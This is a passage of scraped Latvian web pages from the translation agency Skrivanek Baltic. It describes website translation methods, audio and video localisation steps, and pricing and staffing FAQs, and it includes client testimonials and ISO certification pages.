automātiski, tulkošanas tulkotājiem un lokalizācijas speciālistiem darbojoties tiešsaistē; iztulkotie faili nav jāpārsūta. TRŪKUMI: dažos gadījumos šo metodi nav iespējams tehniski nodrošināt, jo ne visu tīmekļa vietņu formāti un parametri ir savietojami ar īpašo programmatūru; ja projekta gaitā noris arī tīmekļa vietnes lokalizācija, tā tiek nodrošināta kopā ar tulkošanu neatkarīgi no izvēlētās tulkošanas metodes. šādi tulkoti teksti uzreiz parādās tīmekļa vietnē, un to var nodrošināt, izmantojot īpašu programmatūru vai spraudņus. PRIEKŠROCĪBAS: labs risinājums tīmekļa vietnei ar vienkāršu uzbūvi un formatējumu. TRŪKUMI: visa tulkojamā informācija tiek manuāli kopēta MS Word dokumentā, līdz ar to pastāv risks, ka kāda teksta daļa tomēr netiek nokopēta darba failā; šī metode ir neefektīva, strādājot ar sarežģītām tīmekļa vietnēm – dažādiem katalogiem, interneta veikaliem u. tml. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Ja vēlaties uzzināt vēl vairāk par mājaslapu tulkošanu un lokalizāciju, gaidīsim jūs ciemos vai rakstiet Skrivanek Baltic lokalizācijas projektu komandai. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācija, vēlams norādīt arī tīmekļa vietnes URLKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par tīmekļa vietnes tulkojumiem jau tūlīt! KAS JĀŅEM VĒRĀ, TULKOJOT TĪMEKĻA VIETNES? Jānoskaidro, vai ir saglabājušies un ir pieejami tā dēvētie „arhīva faili”, kuros teksta formātā ir pieejama visa tīmekļa vietnē izvietotā informācija. Par šo failu esamību un atrašanās vietu noteikti var uzzināt no cilvēkiem, kuri ir izveidojuši vai šobrīd apkalpo konkrēto tīmekļa vietni. Jādefinē un jāziņo projektu vadītājam tīmekļa vietnes tulkojuma mērķi. Būtu vēlams informēt arī par visiem nosacījumiem, palīgmateriāliem un paraugiem. Regulāri jāsazinās ar projektu vadītāju, jo šā pakalpojuma saturs ir tieši atkarīgs no dažādiem tīmekļa vietnes uzbūves tehniskajiem aspektiem, kā arī produktīvas komunikācijas projekta realizācijas gaitā. PASŪTĪJUMA IZPILDES METODES PRIEKŠROCĪBAS: darbs tiek veikts ātrāk; tiek iztulkota pilnībā visa nepieciešamā informācija; jau iztulkotos tekstus var daudz precīzāk ievietot atpakaļ tīmekļa vietnē. TRŪKUMI: komplicēta tīmekļa vietnes formāta gadījumā var rasties tehniskas grūtības ar formatējumu. šādi tulkoti teksti uzreiz parādās tīmekļa vietnē, un to var nodrošināt, izmantojot īpašu programmatūru vai spraudņus. PRIEKŠROCĪBAS: sagatavotie teksti nav jānovieto atpakaļ tīmekļa vietnē, jo tie tiek ievietoti automātiski, tulkošanas tulkotājiem un lokalizācijas speciālistiem darbojoties tiešsaistē; iztulkotie faili nav jāpārsūta. TRŪKUMI: dažos gadījumos šo metodi nav iespējams tehniski nodrošināt, jo ne visu tīmekļa vietņu formāti un parametri ir savietojami ar īpašo programmatūru; ja projekta gaitā noris arī tīmekļa vietnes lokalizācija, tā tiek nodrošināta kopā ar tulkošanu neatkarīgi no izvēlētās tulkošanas metodes. šādi tulkoti teksti uzreiz parādās tīmekļa vietnē, un to var nodrošināt, izmantojot īpašu programmatūru vai spraudņus. PRIEKŠROCĪBAS: labs risinājums tīmekļa vietnei ar vienkāršu uzbūvi un formatējumu. TRŪKUMI: visa tulkojamā informācija tiek manuāli kopēta MS Word dokumentā, līdz ar to pastāv risks, ka kāda teksta daļa tomēr netiek nokopēta darba failā; šī metode ir neefektīva, strādājot ar sarežģītām tīmekļa vietnēm – dažādiem katalogiem, interneta veikaliem u. tml. Ja vēlaties uzzināt vēl vairāk par mājaslapu tulkošanu un lokalizāciju, gaidīsim jūs ciemos vai rakstiet Skrivanek Baltic lokalizācijas projektu komandai. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācija, vēlams norādīt arī tīmekļa vietnes URLKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par tīmekļa vietnes tulkojumiem jau tūlīt! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Valodu pakalpojumi jūsu panākumiem biznesā un ikdienā – rakstiskie un mutiskie tulkojumi, valodu kursi, lokalizācija u. c. Vairāk nekā 25 gadu pieredze. - Published: 2017-10-28 - Modified: 2024-10-31 - URL: https://skrivanek.lv/pakalpojumi/ - Translation Priorities: Optional Svešvalodas lieliem mērķiem Tirgū jau vairāk nekā 25 gadus! Rakstiskie tulkojumi Mutiskie tulkojumi Lokalizācija Valodu mācības JŪSU TULKOŠANAS BIROJS UN MĀCĪBU CENTRS SKRIVANEK 1 Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs. Skrivanek Baltic Latvijā darbojas no 2003. gada, saviem klientiem piedāvājot augstas kvalitātes valodu pakalpojumus. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2020. gadā 0+ Valodas speciālistu 0 ISO sertifikāti DAŽI IEMESLI, KĀPĒC IZVĒLĒTIES MŪS?  Kvalitātes un izpildes garantija Esam ISO 9001, EN 17100, ISO 27001 sertificēts uzņēmums. Mēs uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! Lasīt vairāk  Jaunākās tulkošanas tehnoloģijas Izmantojam mūsdienu tehnoloģiskos sasniegumus kvalitātes un produktivitātes veicināšanai! Lasīt vairāk  Plašs valodu risinājumu klāsts Augam un attīstāmies kopā ar jums, lai sniegtu labāko un plašāko valodu risinājumu piedāvājumu Baltijā! Sazināties NODROŠINĀM VALODU RISINĀJUMUS DAŽĀDĀM NOZARĒM VAIRĀK NEKĀ 300 VALODU KOMBINĀCIJĀS Angļu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Poļu valoda Somu valoda Spāņu valoda Vācu valoda Zviedru valoda Citas valodas Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  Noskaidrot cenu / uzdot jautājumu Biežāk uzdotie jautājumi Skrivanek Baltic ir sertificēts tulkošanas birojs, kas Latvijā darbojas kopš 2003. gada, piedāvājot augstākās kvalitātes valodu pakalpojumus. Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu ilgu pieredzi. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs – ASV, Austrijā, Beļģijā, Bulgārijā, Čehijā, Igaunijā, Lietuvā, Polijā, Slovākijā, Slovēnijā un Vācijā. 2007. gadā durvis vēra Mācību centrs Skrivanek, sniedzot iespēju bērniem un pieaugušajiem papildināt un iegūt svešvalodu zināšanas pie augsti kvalificētiem un zinošiem pasniedzējiem, kā arī saņemt plašāku informāciju saistībā ar valodām. Tulkošanas pakalpojuma cena tiek aprēķināta, ņemot vērā vārdu skaitu dokumentā, valodu kombināciju un citus aspektus. Nosūtiet mums materiālus, un par tulkojuma izmaksām jūs tiksit informēti vēl pirms darba uzsākšanas. Bezmaksas izcenojuma saņemšana neuzliek jums pienākumu sadarboties ar mums. Samaksas kārtība Korporatīviem klientiem piedāvājam slēgt sadarbības līgumu, kurā varam paredzēt šādus samaksas nosacījumus: mūsu uzņēmumā klients, veicot pasūtījumu pirmo reizi, pasūtījumu saņem tikai pēc rēķina samaksas; pēcapmaksa ar rēķinu pēc katra projekta (parasti iesakām izmantot apjomīgu projektu gadījumā); pēcapmaksa ar rēķinu par periodu (parasti iesakām klientiem, kuriem ir liels skaits apjomā nelielu pasūtījumu); pēcapmaksa ar rēķinu vienu reizi mēnesī. Korporatīvajiem klientiem un privātpersonām piedāvājam veikt rēķinu samaksu ar norēķinu kartēm vai skaidrā naudā mūsu birojā, kā PayPal maksājumus, kā arī veikt samaksu ar bankas pārskaitījumu. Jā, privātpersonām norādām cenu, kurā iekļauts PVN. Korporatīvajiem klientiem pakalpojumu cena tiek norādīta bez PVN, pamatojoties uz vispārpieņemto tirgus praksi. Ja dokuments ir pieejams Microsoft Word formātā, izmantojiet vārdu saskaitīšanas funkciju (Review -> Word Count). Ja dokuments ir kādā citā formātā (izdruka, JPG, HTML, PHP, ASP u. tml. ), nosūtiet mums failu(-us) e-pastā, un mēs jums nosūtīsim bezmaksas aprēķinu. Par termiņiem mēs vienosimies jau pirms darba sākšanas. Varat rēķināties, ka tulkojumam līdz 500 vārdiem vidēji būs nepieciešama viena pilna darbadiena, apjomam no 1000 vārdiem – vismaz pusotra darba diena. Nepieciešamības gadījumā mēs varam nodrošināt steidzamu tulkojumu. Pilnīgi jebkurā elektroniskā formātā – ja dokuments nav pieejams elektroniski, nosūtiet mums attēlus vai atnāciet uz mūsu biroju Lāčplēša ielā 87C. Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Lai arī lielākā daļa pieprasījumu ir no uzņēmumiem, mēs ar lielāko prieku strādājam arī ar privātpersonām. Visbiežāk privātpersonām ir nepieciešami tulkojumi ar notāra apstiprinājumu, pieprasītas ir arī valodu mācības un nometnes bērniem un jauniešiem. Mūsu komanda palīdzēs ikvienā situācijā. Abu šo profesiju pārstāvji lieliski pārzina valodas, taču tulkotājs nodarbojas ar visu veidu rakstisko tulkošanu, kamēr tulks sniedz mutiskās – secīgās vai sinhronās tulkošanas pakalpojumu. Ja nepieciešams, mēs garantējam, ka mūsu iztulkotais dokuments izskatīsies tieši tāpat kā oriģināls, vai arī veidojam to atbilstoši klienta prasībām, piesaistot mūsu DTP komandu. Cik vien iespējams, strādājam ar dokumentu oriģināliem elektroniskā formātā, nemainot to stilu un formatējumu. Esam ISO 9001, EN 17100, ISO 27001 sertificēts uzņēmums. Mēs rūpīgi ievērojam konfidencialitāti, uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! EN 17100 standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Savu klientu sirdsmieram esam noslēguši profesionālās civiltiesiskās atbildības līgumu ar starptautisku apdrošinātāju AIG. Mēs nodrošinām tulkojumus arī ar notāra apliecinājumu vai biroja apliecinājumu. Nē, visus tulkošanas pakalpojumu pasūtījumus pieņem un uzrauga projektu vadītājs, kurš ir kā tilts starp pasūtītāju un tulkotāju. Skrivanek Baltic tulki un tulkotāji spēj nodrošināt tulkojumus vairāk nekā 110 valodās. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. Viss atkarīgs no konkrētās vienošanās un jūsu prasībām. Tikai jūs noteiksiet, cik daudz laika tulkam jāpavada kopā ar jums. Gadījumos, kad iztulkoto gala rezultātu plānots izmantot, piemēram, mārketinga vai reklāmas nolūkiem, nepietiek ar precīzu iztulkošanu – bieži vien tekstu nākas lokalizēt, mainīt izmantotās idiomas vai citus tēlainos izteiksmes līdzekļus, lai tas būtu viegli uztverams arī mērķa valodas lietotājiem. Šādos gadījumos notiek tekstu adaptācija, lai tos pilnībā pielāgotu mērķa valodas auditorijas prasībām. Tulkošanas rīki (CAT) ir tulkotājiem paredzētas programmas, kas palīdz tulkošanas procesā. Tulkošanas rīkos netiek veikta datorizēta jeb automatizēta tulkošana, taču tie ļauj paveikt darbu īsākā laikā, nodrošina terminoloģijas konsekventu lietojumu, kā arī palīdz ietaupīt un sniedz citas priekšrocības. Šie rīki ļauj saglabāt visus iepriekš tulkotos tekstus, tā nodrošinot, ka divi vienādi teikumi nav jātulko vairāk par vienu reizi. Īpaši piemēroti tie ir darbam ar finanšu un tehniskajiem tekstiem, kā arī zāļu dokumentācijas, dažādu tīmekļa vietņu un programmatūras tulkošanai. Ir pieņemts, ka tulkotājs var iztulkot līdz 2000 vārdu dienā, savukārt korektors izlabot līdz 6000 vārdu dienā. Parasti viena tulkojuma projekta tehniskajai apstrādei paredzēta viena diena. Lai noteiktu izpildes termiņu liela apjoma projektiem, tulkotāju un/vai korektoru skaitu reizina ar viena speciālista paveicamo darba apjomu dienā (piemēram, divi tulkotāji spēj iztulkot 4000 vārdu dienā, pieci tulkotāji spēj iztulkot 10 000 vārdu dienā). Lai rakstiskajā tulkojumā nodrošinātu vienotu terminoloģiju un stilu, piesaista minimālo iespējamo korektoru skaitu (piemēram, pieci tulkotāji un viens korektors), izņemot steidzamus pasūtījumus, kad ir nepieciešams papildu personāls. Lai nodrošinātu sinhrono tulkojumu, katrā valodu pārī nepieciešami divi tulki (piemēram, pasākumā, kurā piedalīsies latviski un angliski runājoši dalībnieki, sinhrono tulkojumu nodrošinās divi tulki, kas aptuveni ik pēc 20 minūtēm nomainīs viens otru). Lai aprēķinātu sinhronās tulkošanas kabīņu daudzumu, jāņem vērā, ka vienā tulku kabīnē sēž divi tulkotāji, kas tulko vienā un tajā pašā valodu pārī (piemēram, ja pasākumā nepieciešams tulkojums četros valodu pāros, būs nepieciešamas četras kabīnes, kurās strādās astoņi tulki). --- > Profesionāla audio un video failu lokalizācija. Vairāk nekā 25 gadu pieredze. Saņemiet bezmaksas cenas aprēķinu! - Published: 2017-10-28 - Modified: 2024-11-12 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/audio-un-video-failu-lokalizacija/ - Translation Priorities: Optional Mums ir viss nepieciešamais, lai realizētu jūsu projektu! Kompetentie projektu vadītāji palīdzēs ar ieteikumiem un konsultēs par iespējamiem risinājumiem. KAS IR AUDIO UN VIDEO MATERIĀLA LOKALIZĀCIJA? Tā ir audio vai video faila pielāgošana konkrētā reģiona vai tirgus vajadzībām un lokālajām īpatnībām. PASŪTĪJUMA IZPILDES METODES klients sagatavo iesniegšanai audio/video failu; paskaidro projektu vadītājam projekta nosacījumus un mērķi; šī pakalpojuma saturs ir tieši atkarīgs no projekta mērķiem, tādēļ klientam jābūt atvērtam regulārai saziņai ar projektu vadītāju. audio/video faila analīze (tiek novērtēta iesniegtā faila kvalitāte un saturs); klienta vēlmju apzināšana un noteikšana; aptuveno izmaksu aprēķināšana (izmaksas ir atkarīgas no sarežģītības pakāpes un izpildes termiņa). teksta transkribēšana – audio/video failā dzirdamo un redzamo tekstu pārrakstīšana, piefiksējot attiecīgo sekundi, kurā šis teksts ir redzams vai dzirdams; audio/video tulkošana (pēc teksta transkribēšanas teksts tiek iztulkots nepieciešamajā valodā; tulkošanu veic profesionāls tulkotājs); transkribētā teksta koriģēšana un pielāgošana mērķauditorijai (pēc tam darbs tiek dots korektoram, kurš to koriģē un pielāgo auditorijai); klienta apstiprinājums (pēc iepriekšminēto darbu veikšanas teksts tiek iesniegts klientam; pēc klienta komentāru saņemšanas teksts tiek vajadzības gadījumā mainīts); tekstu ierunāšana (tekstu ierunāšanu veic profesionāli aktieri vai speciālisti, kam ir liela pieredze šajā jomā); faila montāža (pēc tekstu ierunāšanas lokalizētais fails tiek samontēts); faila nosūtīšana klientam. KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  NEPIECIEŠAMS KOMPLEKSS RISINĀJUMS VAI KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Sertifikāts apliecina, ka valodu uzņēmuma Skrivanek pakalpojumu kvalitāte atbilst klientu vēlmēm un normatīvo aktu prasībām. - Published: 2017-10-26 - Modified: 2024-11-20 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 9001:2015 – KVALITĀTES UN VIDES VADĪBAS SISTĒMAS SERTIFIKĀTS --- > Sertifikāts apliecina mūsu uzņēmuma rūpes par vidi, tostarp videi saudzīgu tehnoloģiju un materiālu izmantošanu uzņēmējdarbībā, atkritumu šķirošanu utt. - Published: 2017-10-26 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 14001:2015 – VIDES VADĪBAS SISTĒMAS SERTIFIKĀTS --- > Tas apliecina, ka mūsu uzņēmumā tulkošanas speciālistu atlase, darba process, tehnoloģiju izmantojums u.c. ar nozari saistītie aspekti atbilst prasībām. - Published: 2017-10-26 - Modified: 2024-11-20 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN 17100:2015 – TULKOŠANAS PROCESU VADĪBAS SISTĒMA --- > Viena no Skrivanek vērtībām ir atbildība pret klientu, kas ietver arī uzticēto datu drošību, tādēļ esam ieviesuši informācijas drošības vadības sistēmu. - Published: 2017-10-26 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional ISO/IEC 27001:2022 – INFORMĀCIJAS DROŠĪBAS VADĪBAS SISTĒMAS SERTIFIKĀTS --- > See sertifikaat on tõendiks, et Skrivaneki teenuste kvaliteet vastab kliendi ootustele ja seadusest tulenevatele nõuetele. - Published: 2017-10-26 - Modified: 2024-10-30 - URL: 